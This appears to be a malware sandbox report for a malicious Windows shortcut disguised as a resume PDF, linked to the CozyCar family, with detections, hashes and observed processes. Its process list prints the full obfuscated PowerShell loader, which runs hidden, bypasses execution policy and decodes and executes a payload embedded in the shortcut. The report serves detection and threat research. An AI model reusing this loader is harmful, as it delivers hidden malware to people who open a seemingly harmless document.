resume.pdf.lnk

Classification: Malicious

resume.pdf.lnk is a trojan (MS Windows shortcut, 3.1 KB). Flagged by 13% of antivirus engines (17 detections). Linked to Cozycar malware.

Detection summary

  • 17 antivirus detections (13% detection ratio)
  • 0 IDS alerts
  • 2 processes observed
  • 0 contacted hosts
  • 0 DNS requests

MITRE ATT&CK associations

Malware families: COZYCAR (S0046)

Blacklist sightings

Description Source First seen Last seen Labels MITRE ATT&CK
Generic Malware Hybrid-Analysis 2023-11-13 21:00:04 2023-11-13 22:15:07
HEUR:Trojan.WinLNK.CozyDuke Hybrid-Analysis 2018-05-16 15:45:16 2018-05-16 15:45:16 S0046 CozyCar

Sample information

Filenames
resume.pdf.lnk, resume.pdf.lnk.vacb.lnk
File type
MS Windows shortcut, Item id list present, Points to a file or directory, Has command line arguments, Icon, Archive, ctime=Mon Aug 7 15:41:42 2017, mtime=Mon Aug 7 15:41:42 2017, atime=Fri Dec 9 02:34:22 2016, length=443392, window=hide
Size
3186 bytes
MD5
89c46f97bad7de219550aef19420b9e5
SHA-1
000faf09a5ecae2f23ad01df0aa04f7a65a87ef6
SHA-256
841025a09c7360911e65d994a3f2f38f537ae07ab8818cb8ebf1e6e24fbe0374
SHA-512
98e1cc50317dadad8ef0f712c41af88386c923d274273c224c1be39bfb2fa49f33becec7e1503d026b1517a7c45329eb23990d16b15139bac433597af2484bb9
First indexed
2018-05-16 15:45:16
Last updated
2026-09-26 00:31:13

Antivirus detections

EngineDetection
ESET-NOD32LNK/Agent.FL
KasperskyHEUR:Trojan.WinLNK.CozyDuke.gen
EmsisoftTrojan.PowerShell.Gen (A)
SophosMal/LnkDrop-B
ZoneAlarmHEUR:Trojan.WinLNK.CozyDuke.gen
GDataScript.Trojan-Downloader.Agent.WY
ZonerProbably LNKScript
Qihoo-360virus.lnk.powershell.a
ComodoMalware@#2gby3x6pcufkd
FortinetLNK/Agent.FL!tr
IkarusTrojan.LNK.Agent
KasperskyTrojan.Multi.GenAutorunLnkFile.a
McAfeePS/Downloader!89C46F97BAD7
McAfee-GW-EditionPS/Downloader!89C46F97BAD7
SymantecTrojan.Gen.2
VBA32Trojan.Link.ShellCmd
ZoneAlarmTrojan.Multi.GenAutorunLnkFile.a

Process list

NameCommand line
powershell.exe-win hidden -Ep ByPass $r = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('JHN0UCwkc2lQPTMyMzAsOTY3NjskZj0ncmVzdW1lLnBkZi5sbmsnO2lmKC1ub3QoVGVzdC1QYXRoICRmKSl7JHg9R2V0LUNoaWxkSXRlbSAtUGF0aCAkZW52OnRlbXAgLUZpbHRlciAkZiAtUmVjdXJzZTtbSU8uRGlyZWN0b3J5XTo6U2V0Q3VycmVudERpcmVjdG9yeSgkeC5EaXJlY3RvcnlOYW1lKTt9JGxuaz1OZXctT2JqZWN0IElPLkZpbGVTdHJlYW0gJGYsJ09wZW4nLCdSZWFkJywnUmVhZFdyaXRlJzskYjY0PU5ldy1PYmplY3QgYnl0ZVtdKCRzaVApOyRsbmsuU2Vlaygkc3RQLFtJTy5TZWVrT3JpZ2luXTo6QmVnaW4pOyRsbmsuUmVhZCgkYjY0LDAsJHNpUCk7JGI2ND1bQ29udmVydF06OkZyb21CYXNlNjRDaGFyQXJyYXkoJGI2NCwwLCRiNjQuTGVuZ3RoKTskc2NCPVtUZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGI2NCk7aWV4ICRzY0I7')); iex $r;
powershell.exe-win hidden -Ep ByPass $r = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('JHN0UCwkc2lQPTMyMzAsOTY3NjskZj0ncmVzdW1lLnBkZi5sbmsnO2lmKC1ub3QoVGVzdC1QYXRoICRmKSl7JHg9R2V0LUNoaWxkSXRlbSAtUGF0aCAkZW52OnRlbXAgLUZpbHRlciAkZiAtUmVjdXJzZTtbSU8uRGlyZWN0b3J5XTo6U2V0Q3VycmVudERpcmVjdG9yeSgkeC5EaXJlY3RvcnlOYW1lKTt9JGxuaz1OZXctT2JqZWN0IElPLkZpbGVTdHJlYW0gJGYsJ09wZW4nLCdSZWFkJywnUmVhZFdyaXRlJzskYjY0PU5ldy1PYmplY3QgYnl0ZVtdKCRzaVApOyRsbmsuU2Vlaygkc3RQLFtJTy5TZWVrT3JpZ2luXTo6QmVnaW4pOyRsbmsuUmVhZCgkYjY0LDAsJHNpUCk7JGI2ND1bQ29udmVydF06OkZyb21CYXNlNjRDaGFyQXJyYXkoJGI2NCwwLCRiNjQuTGVuZ3RoKTskc2NCPVtUZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGI2NCk7aWV4ICRzY0I7')); iex $r;